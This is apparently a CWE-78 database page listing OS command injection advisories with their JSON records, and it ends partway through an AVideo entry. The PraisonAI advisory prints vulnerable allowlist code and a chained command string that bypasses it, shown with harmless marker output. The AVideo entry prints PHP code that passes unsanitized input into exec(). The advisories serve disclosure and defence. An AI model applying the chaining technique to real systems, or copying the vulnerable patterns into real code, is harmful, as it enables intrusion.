Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

8322 vulnerabilities reference this CWE, most recent first.

GHSA-5JV4-P54C-22J4

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45
VLAI
Details

This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System 1.6.0.26. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SettingConfigController class. When parsing the fileName parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-12121.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-27273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-29T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System 1.6.0.26. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SettingConfigController class. When parsing the fileName parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-12121.",
  "id": "GHSA-5jv4-p54c-22j4",
  "modified": "2022-05-24T17:45:38Z",
  "published": "2022-05-24T17:45:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27273"
    },
    {
      "type": "WEB",
      "url": "https://kb.netgear.com/000062686/Security-Advisory-for-Post-Authentication-Command-Injection-on-NMS300-PSV-2020-0559"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-21-356"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5JV7-2MJM-H6QJ

Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-07-20 21:28
VLAI
Summary
npm PraisonAI utility shell safe-command wrapper allowlist bypass via shell chaining
Details

Summary

The published npm package praisonai ships dist/tools/utility-tools.js, which exports a shell(command) helper described in source as:

Execute shell command (safe version - read-only commands)

The helper attempts to enforce a safe read-only command allowlist by checking only the first whitespace-delimited token:

const safeCommands = ['ls', 'cat', 'head', 'tail', 'wc', 'grep', 'find', 'echo', 'date', 'pwd', 'which'];
const firstWord = command.split(/\s+/)[0];

if (!safeCommands.includes(firstWord)) {
    return { success: false, error: `Command not allowed: ${firstWord}` };
}

It then passes the entire original string to Node child_process.exec():

const { stdout, stderr } = await execAsync(command, { timeout: 5000 });

Because exec() runs the command through a shell, a command string that starts with an allowed command can append a second non-allowlisted command with shell metacharacters. For example, direct printf <marker> is rejected, but echo ok; printf <marker> is accepted and executes printf.

This bypasses the helper's safe-command policy and allows arbitrary shell commands to run with the PraisonAI process privileges when an application, agent, or integration exposes this helper to lower-trust users, prompts, model output, or plugin/tool input.

The PoV is deterministic and local-only. It installs only the npm package, runs harmless marker commands, and does not contact any live service after installation.

Technical Details

utility-tools.shell() authorizes one token but executes the full shell string.

Source-head implementation:

export async function shell(command: string): Promise<ToolResult<string>> {
    // Only allow safe read-only commands
    const safeCommands = ['ls', 'cat', 'head', 'tail', 'wc', 'grep', 'find', 'echo', 'date', 'pwd', 'which'];
    const firstWord = command.split(/\s+/)[0];

    if (!safeCommands.includes(firstWord)) {
        return { success: false, error: `Command not allowed: ${firstWord}` };
    }

    try {
        const { exec } = await import('child_process');
        const { promisify } = await import('util');
        const execAsync = promisify(exec);

        const { stdout, stderr } = await execAsync(command, { timeout: 5000 });
        return { success: true, data: stdout || stderr };
    } catch (error: any) {
        return { success: false, error: error.message ?? String(error) };
    }
}

The published npm:praisonai@1.7.1 dist file preserves the same behavior:

  • exports.shell = shell
  • const firstWord = command.split(/\s+/)[0]
  • if (!safeCommands.includes(firstWord)) ...
  • const { stdout, stderr } = await execAsync(command, { timeout: 5000 })

This creates a policy/parser differential: PraisonAI checks only the first token, while the shell parses the full string as a script.

Why This Is Not Intended Behavior

The helper is explicitly documented in code as a "safe version" for read-only commands and contains an allowlist of specific safe commands. The control test proves that non-allowlisted commands are intended to be blocked: direct printf <marker> returns Command not allowed: printf.

The same helper accepting echo ok; printf <marker> is therefore a bypass of the intended safe-command boundary, not merely a permissive command runner.

This is also consistent with Node's own guidance for shell execution: child_process.exec() runs through a shell, and shell metacharacters can change which commands execute. The fix should make PraisonAI's authorization boundary match what is actually executed.

PoV

Run from a local reproduction checkout:

node poc/pov_poc.js 1.7.1

Observed output summary from evidence/pov-npm-1.7.1.json:

{
  "package": "npm:praisonai",
  "version": "1.7.1",
  "installedPackageVersion": "1.7.1",
  "commands": {
    "directDisallowedCommand": "printf poc.7.1",
    "benignAllowedCommand": "echo poc",
    "chainedBypassCommand": "echo poc; printf poc.7.1"
  },
  "controls": {
    "directDisallowedRejected": true,
    "benignAllowedAccepted": true,
    "patchedControlRejectsChainedShell": true
  },
  "observed": {
    "directDisallowed": {
      "success": false,
      "error": "Command not allowed: printf"
    },
    "chainedBypass": {
      "success": true,
      "data": "poc\npoc.7.1"
    }
  },
  "vulnerable": true
}

Interpretation:

  • Direct printf <marker> is rejected because printf is not in safeCommands.
  • Benign echo ... is accepted.
  • echo ...; printf <marker> is accepted because the first token is echo.
  • The shell then executes the non-allowlisted printf command.
  • A patched-control validator that rejects shell metacharacters before execution blocks the chained command while still allowing benign echo.

The PoV uses only harmless marker output. It does not read system files, leak environment variables, call external services, or run destructive commands.

PoC

The PoV section above contains the local reproduction command, input, and decisive output.

Impact

If lower-trust users, prompts, model output, plugins, or tool input can influence a command string passed to utility-tools.shell(), the safe-command allowlist does not restrict execution to the intended read-only commands. An attacker can append arbitrary shell commands after an allowed first token and run them with the PraisonAI process privileges.

Concrete consequences depend on the embedding application and process privileges, but can include:

  • reading files and secrets available to the process;
  • modifying files or project state;
  • invoking local tools and package managers;
  • network exfiltration if the host permits egress; and
  • denial of service by running expensive commands.

This report does not claim that npm PraisonAI exposes this helper as a default unauthenticated network service. It is a library-level safe-command wrapper bypass in a shipped npm subpath.

Severity

Suggested severity: High.

Rationale:

  • AV: common PraisonAI use is a network-facing application, agent API, or tool integration that accepts user or prompt-controlled tasks.
  • AC: a single command string beginning with an allowed command is sufficient.
  • PR: conservative scoring assumes the attacker can submit prompts or work items to the application using this helper.
  • UI: no further operator interaction is required once the command reaches the helper.
  • S: impact is within the PraisonAI-hosting process and its host context.
  • C/I/A: arbitrary shell commands can affect confidentiality, integrity, and availability depending on process privileges.

If maintainers score only direct local library use, AV:L may be reasonable. If a deployment exposes this helper through unauthenticated agent/tool endpoints, PR:N may be reasonable.

Suggested Fix

Avoid passing policy-checked strings to a shell.

Recommended:

  1. Replace exec(command) with execFile() or spawn(command, args, { shell: false }).
  2. Require callers to pass { command, args } instead of a shell string, or parse the shell string into argv with a shell-aware parser before policy checks.
  3. Apply the allowlist to the exact executable that will be invoked.
  4. Reject shell metacharacters (;, &&, ||, |, backticks, $(), redirects, newlines) if a string API must remain available.
  5. Add regression tests proving that echo ok is allowed while printf marker, echo ok; printf marker, echo ok && printf marker, and echo ok | printf marker are rejected.

If this helper is not intended to be public, also consider adding a package exports map that exposes only supported public API paths.

Affected Package/Versions

  • Repository: MervinPraison/PraisonAI
  • Ecosystem: npm
  • Package: praisonai
  • Component: TypeScript utility tools helper src/praisonai-ts/src/tools/utility-tools.ts
  • Published dist path: node_modules/praisonai/dist/tools/utility-tools.js
  • Latest npm package validated: 1.7.1
  • Current origin/main validated: 1ad58ca02975ff1398efeda694ea2ab78f20cf3e
  • src/praisonai-ts/package.json at origin/main: praisonai 1.7.1

Suggested affected range:

npm:praisonai >= 1.5.1, <= 1.7.1

All published npm 1.x versions were swept locally:

  • 1.0.0 through 1.5.0: dist/tools/utility-tools.js was not present in the tested package.
  • 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.6.0, 1.7.0, and 1.7.1: vulnerable.

The npm package has no exports map and ships dist in its files list, so the affected helper is importable as a package subpath:

const { shell } = require("praisonai/dist/tools/utility-tools.js");

The root package entry point does not appear to re-export this helper directly. This report is scoped to the shipped npm subpath and the TypeScript source that generates it.

Advisory History

Visible PraisonAI advisories and prior submissions were checked. The closest known issues are adjacent but distinct:

  • GHSA-vjv9-7m7j-h833 covers npm TypeScript SandboxExecutor.allowedCommands in src/cli/features/sandbox-executor.ts, where a caller-supplied allowlist is checked before spawn("sh", ["-c", command]).
  • This report covers npm TypeScript utility-tools.shell() in src/tools/utility-tools.ts, where a built-in "safe read-only commands" allowlist is checked before child_process.exec(command).
  • Fixing only SandboxExecutor leaves this helper unchanged.
  • The public Python/PyPI command-injection advisories cover different packages, files, and execution paths, such as Python execute_command, run_python(), memory hooks, and subprocess sandbox code.

This is a sibling-callsite variant of the same mature allowlist/shell-parser class, but it is not the same function, policy surface, affected version range, or shipped import path as the prior npm SandboxExecutor advisory.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.1"
            },
            {
              "fixed": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-78",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:26:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe published npm package `praisonai` ships `dist/tools/utility-tools.js`, which exports a `shell(command)` helper described in source as:\n\n```text\nExecute shell command (safe version - read-only commands)\n```\n\nThe helper attempts to enforce a safe read-only command allowlist by checking only the first whitespace-delimited token:\n\n```ts\nconst safeCommands = [\u0027ls\u0027, \u0027cat\u0027, \u0027head\u0027, \u0027tail\u0027, \u0027wc\u0027, \u0027grep\u0027, \u0027find\u0027, \u0027echo\u0027, \u0027date\u0027, \u0027pwd\u0027, \u0027which\u0027];\nconst firstWord = command.split(/\\s+/)[0];\n\nif (!safeCommands.includes(firstWord)) {\n    return { success: false, error: `Command not allowed: ${firstWord}` };\n}\n```\n\nIt then passes the entire original string to Node `child_process.exec()`:\n\n```ts\nconst { stdout, stderr } = await execAsync(command, { timeout: 5000 });\n```\n\nBecause `exec()` runs the command through a shell, a command string that starts with an allowed command can append a second non-allowlisted command with shell metacharacters. For example, direct `printf \u003cmarker\u003e` is rejected, but `echo ok; printf \u003cmarker\u003e` is accepted and executes `printf`.\n\nThis bypasses the helper\u0027s safe-command policy and allows arbitrary shell commands to run with the PraisonAI process privileges when an application, agent, or integration exposes this helper to lower-trust users, prompts, model output, or plugin/tool input.\n\nThe PoV is deterministic and local-only. It installs only the npm package, runs harmless marker commands, and does not contact any live service after installation.\n\n## Technical Details\n\n`utility-tools.shell()` authorizes one token but executes the full shell string.\n\nSource-head implementation:\n\n```ts\nexport async function shell(command: string): Promise\u003cToolResult\u003cstring\u003e\u003e {\n    // Only allow safe read-only commands\n    const safeCommands = [\u0027ls\u0027, \u0027cat\u0027, \u0027head\u0027, \u0027tail\u0027, \u0027wc\u0027, \u0027grep\u0027, \u0027find\u0027, \u0027echo\u0027, \u0027date\u0027, \u0027pwd\u0027, \u0027which\u0027];\n    const firstWord = command.split(/\\s+/)[0];\n\n    if (!safeCommands.includes(firstWord)) {\n        return { success: false, error: `Command not allowed: ${firstWord}` };\n    }\n\n    try {\n        const { exec } = await import(\u0027child_process\u0027);\n        const { promisify } = await import(\u0027util\u0027);\n        const execAsync = promisify(exec);\n\n        const { stdout, stderr } = await execAsync(command, { timeout: 5000 });\n        return { success: true, data: stdout || stderr };\n    } catch (error: any) {\n        return { success: false, error: error.message ?? String(error) };\n    }\n}\n```\n\nThe published `npm:praisonai@1.7.1` dist file preserves the same behavior:\n\n- `exports.shell = shell`\n- `const firstWord = command.split(/\\s+/)[0]`\n- `if (!safeCommands.includes(firstWord)) ...`\n- `const { stdout, stderr } = await execAsync(command, { timeout: 5000 })`\n\nThis creates a policy/parser differential: PraisonAI checks only the first token, while the shell parses the full string as a script.\n\n### Why This Is Not Intended Behavior\n\nThe helper is explicitly documented in code as a \"safe version\" for read-only commands and contains an allowlist of specific safe commands. The control test proves that non-allowlisted commands are intended to be blocked: direct `printf \u003cmarker\u003e` returns `Command not allowed: printf`.\n\nThe same helper accepting `echo ok; printf \u003cmarker\u003e` is therefore a bypass of the intended safe-command boundary, not merely a permissive command runner.\n\nThis is also consistent with Node\u0027s own guidance for shell execution: `child_process.exec()` runs through a shell, and shell metacharacters can change which commands execute. The fix should make PraisonAI\u0027s authorization boundary match what is actually executed.\n\n## PoV\n\nRun from a local reproduction checkout:\n\n```bash\nnode poc/pov_poc.js 1.7.1\n```\n\nObserved output summary from `evidence/pov-npm-1.7.1.json`:\n\n```json\n{\n  \"package\": \"npm:praisonai\",\n  \"version\": \"1.7.1\",\n  \"installedPackageVersion\": \"1.7.1\",\n  \"commands\": {\n    \"directDisallowedCommand\": \"printf poc.7.1\",\n    \"benignAllowedCommand\": \"echo poc\",\n    \"chainedBypassCommand\": \"echo poc; printf poc.7.1\"\n  },\n  \"controls\": {\n    \"directDisallowedRejected\": true,\n    \"benignAllowedAccepted\": true,\n    \"patchedControlRejectsChainedShell\": true\n  },\n  \"observed\": {\n    \"directDisallowed\": {\n      \"success\": false,\n      \"error\": \"Command not allowed: printf\"\n    },\n    \"chainedBypass\": {\n      \"success\": true,\n      \"data\": \"poc\\npoc.7.1\"\n    }\n  },\n  \"vulnerable\": true\n}\n```\n\nInterpretation:\n\n- Direct `printf \u003cmarker\u003e` is rejected because `printf` is not in `safeCommands`.\n- Benign `echo ...` is accepted.\n- `echo ...; printf \u003cmarker\u003e` is accepted because the first token is `echo`.\n- The shell then executes the non-allowlisted `printf` command.\n- A patched-control validator that rejects shell metacharacters before execution blocks the chained command while still allowing benign `echo`.\n\nThe PoV uses only harmless marker output. It does not read system files, leak environment variables, call external services, or run destructive commands.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nIf lower-trust users, prompts, model output, plugins, or tool input can influence a command string passed to `utility-tools.shell()`, the safe-command allowlist does not restrict execution to the intended read-only commands. An attacker can append arbitrary shell commands after an allowed first token and run them with the PraisonAI process privileges.\n\nConcrete consequences depend on the embedding application and process privileges, but can include:\n\n- reading files and secrets available to the process;\n- modifying files or project state;\n- invoking local tools and package managers;\n- network exfiltration if the host permits egress; and\n- denial of service by running expensive commands.\n\nThis report does not claim that npm PraisonAI exposes this helper as a default unauthenticated network service. It is a library-level safe-command wrapper bypass in a shipped npm subpath.\n\n### Severity\n\nSuggested severity: High.\n\nRationale:\n\n- `AV`: common PraisonAI use is a network-facing application, agent API, or tool integration that accepts user or prompt-controlled tasks.\n- `AC`: a single command string beginning with an allowed command is sufficient.\n- `PR`: conservative scoring assumes the attacker can submit prompts or work items to the application using this helper.\n- `UI`: no further operator interaction is required once the command reaches the helper.\n- `S`: impact is within the PraisonAI-hosting process and its host context.\n- `C/I/A`: arbitrary shell commands can affect confidentiality, integrity, and availability depending on process privileges.\n\nIf maintainers score only direct local library use, `AV:L` may be reasonable. If a deployment exposes this helper through unauthenticated agent/tool endpoints, `PR:N` may be reasonable.\n\n## Suggested Fix\n\nAvoid passing policy-checked strings to a shell.\n\nRecommended:\n\n1. Replace `exec(command)` with `execFile()` or `spawn(command, args, { shell: false })`.\n2. Require callers to pass `{ command, args }` instead of a shell string, or parse the shell string into argv with a shell-aware parser before policy checks.\n3. Apply the allowlist to the exact executable that will be invoked.\n4. Reject shell metacharacters (`;`, `\u0026\u0026`, `||`, `|`, backticks, `$()`, redirects, newlines) if a string API must remain available.\n5. Add regression tests proving that `echo ok` is allowed while `printf marker`, `echo ok; printf marker`, `echo ok \u0026\u0026 printf marker`, and `echo ok | printf marker` are rejected.\n\nIf this helper is not intended to be public, also consider adding a package `exports` map that exposes only supported public API paths.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: TypeScript utility tools helper `src/praisonai-ts/src/tools/utility-tools.ts`\n- Published dist path: `node_modules/praisonai/dist/tools/utility-tools.js`\n- Latest npm package validated: `1.7.1`\n- Current `origin/main` validated: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n- `src/praisonai-ts/package.json` at `origin/main`: `praisonai` `1.7.1`\n\nSuggested affected range:\n\n```text\nnpm:praisonai \u003e= 1.5.1, \u003c= 1.7.1\n```\n\nAll published npm `1.x` versions were swept locally:\n\n- `1.0.0` through `1.5.0`: `dist/tools/utility-tools.js` was not present in the tested package.\n- `1.5.1`, `1.5.2`, `1.5.3`, `1.5.4`, `1.6.0`, `1.7.0`, and `1.7.1`: vulnerable.\n\nThe npm package has no `exports` map and ships `dist` in its `files` list, so the affected helper is importable as a package subpath:\n\n```js\nconst { shell } = require(\"praisonai/dist/tools/utility-tools.js\");\n```\n\nThe root package entry point does not appear to re-export this helper directly. This report is scoped to the shipped npm subpath and the TypeScript source that generates it.\n\n## Advisory History\n\nVisible PraisonAI advisories and prior submissions were checked. The closest known issues are adjacent but distinct:\n\n- `GHSA-vjv9-7m7j-h833` covers npm TypeScript `SandboxExecutor.allowedCommands` in `src/cli/features/sandbox-executor.ts`, where a caller-supplied allowlist is checked before `spawn(\"sh\", [\"-c\", command])`.\n- This report covers npm TypeScript `utility-tools.shell()` in `src/tools/utility-tools.ts`, where a built-in \"safe read-only commands\" allowlist is checked before `child_process.exec(command)`.\n- Fixing only `SandboxExecutor` leaves this helper unchanged.\n- The public Python/PyPI command-injection advisories cover different packages, files, and execution paths, such as Python `execute_command`, `run_python()`, memory hooks, and subprocess sandbox code.\n\nThis is a sibling-callsite variant of the same mature allowlist/shell-parser class, but it is not the same function, policy surface, affected version range, or shipped import path as the prior npm `SandboxExecutor` advisory.",
  "id": "GHSA-5jv7-2mjm-h6qj",
  "modified": "2026-07-20T21:28:11Z",
  "published": "2026-06-18T14:26:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5jv7-2mjm-h6qj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "npm PraisonAI utility shell safe-command wrapper allowlist bypass via shell chaining"
}

GHSA-5JVC-VXW5-XPRJ

Vulnerability from github – Published: 2022-05-17 00:38 – Updated: 2022-05-17 00:38
VLAI
Details

viewrq.php in nweb2fax 0.2.7 and earlier allows remote attackers to execute arbitrary code via shell metacharacters in the var_filename parameter in a (1) tif or (2) pdf format action.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-6669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-04-08T10:30:00Z",
    "severity": "HIGH"
  },
  "details": "viewrq.php in nweb2fax 0.2.7 and earlier allows remote attackers to execute arbitrary code via shell metacharacters in the var_filename parameter in a (1) tif or (2) pdf format action.",
  "id": "GHSA-5jvc-vxw5-xprj",
  "modified": "2022-05-17T00:38:42Z",
  "published": "2022-05-17T00:38:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6669"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43174"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5856"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5JW9-5FF9-VR5P

Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49
VLAI
Details

DHCP packages in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier are vulnerable to a command injection flaw in the NetworkManager integration script included in the DHCP client. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.

Severity
7.5 (High)
CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2018-1111"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-17T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "DHCP packages in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier are vulnerable to a command injection flaw in the NetworkManager integration script included in the DHCP client. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.",
  "id": "GHSA-5jw9-5ff9-vr5p",
  "modified": "2022-05-13T01:49:01Z",
  "published": "2022-05-13T01:49:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1111"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2018-10"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44890"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44652"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QMTTB54QNTPD2SK6UL32EVQHMZP6BUUD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IDJA4QRR74TMXW34Q3DYYFPVBYRTJBI7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CDCLLCHYFFXW354HMB5QBXOQOY5BH2EJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QMTTB54QNTPD2SK6UL32EVQHMZP6BUUD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IDJA4QRR74TMXW34Q3DYYFPVBYRTJBI7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CDCLLCHYFFXW354HMB5QBXOQOY5BH2EJ"
    },
    {
      "type": "WEB",
      "url": "https://help.ecostruxureit.com/display/public/UADCE725/Security+fixes+in+StruxureWare+Data+Center+Expert+v7.6.0"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-1111"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1567974"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/vulnerabilities/3442151"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2018-1111"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1525"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1524"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1461"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1460"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1459"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1458"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1457"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1456"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1455"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1454"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1453"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104195"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5JWW-7299-JR22

Vulnerability from github – Published: 2022-01-20 00:01 – Updated: 2022-04-28 00:01
VLAI
Details

A command Injection Vulnerability in McAfee Agent (MA) for Windows prior to 5.7.5 allows local users to inject arbitrary shell code into the file cleanup.exe. The malicious clean.exe file is placed into the relevant folder and executed by running the McAfee Agent deployment feature located in the System Tree. An attacker may exploit the vulnerability to obtain a reverse shell which can lead to privilege escalation to obtain root privileges.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-19T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "A command Injection Vulnerability in McAfee Agent (MA) for Windows prior to 5.7.5 allows local users to inject arbitrary shell code into the file cleanup.exe. The malicious clean.exe file is placed into the relevant folder and executed by running the McAfee Agent deployment feature located in the System Tree. An attacker may exploit the vulnerability to obtain a reverse shell which can lead to privilege escalation to obtain root privileges.",
  "id": "GHSA-5jww-7299-jr22",
  "modified": "2022-04-28T00:01:22Z",
  "published": "2022-01-20T00:01:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31854"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5M2V-C6PJ-9QQH

Vulnerability from github – Published: 2026-02-27 03:30 – Updated: 2026-02-27 03:30
VLAI
Details

An OS command injection vulnerability exists in XWEB Pro version 1.12.1 and prior, enabling an unauthenticated attacker to achieve remote code execution on the system by sending a crafted request to the libraries installation route and injecting malicious input into the request body.

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-27T01:16:18Z",
    "severity": "CRITICAL"
  },
  "details": "An OS command injection vulnerability exists in XWEB Pro version 1.12.1 \nand prior, enabling an unauthenticated attacker to achieve remote code \nexecution on the system by sending a crafted request to the libraries \ninstallation route and injecting malicious input into the request body.",
  "id": "GHSA-5m2v-c6pj-9qqh",
  "modified": "2026-02-27T03:30:26Z",
  "published": "2026-02-27T03:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24663"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-057-10.json"
    },
    {
      "type": "WEB",
      "url": "https://webapps.copeland.com/Dixell/Pages/SystemSoftwareUpdate"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5M4Q-5CVX-36MW

Vulnerability from github – Published: 2026-03-25 17:47 – Updated: 2026-03-25 17:47
VLAI
Summary
AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
Details

Summary

The restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.

Details

The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:

1. User input ingestion (line 220):

$request = file_get_contents("php://input");
$robj = json_decode($request);

2. Log file template (line 58):

$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";

3. users_id injected without sanitization (line 318):

$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);

4. liveTransmitionHistory_id injected without sanitization (line 407):

$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);

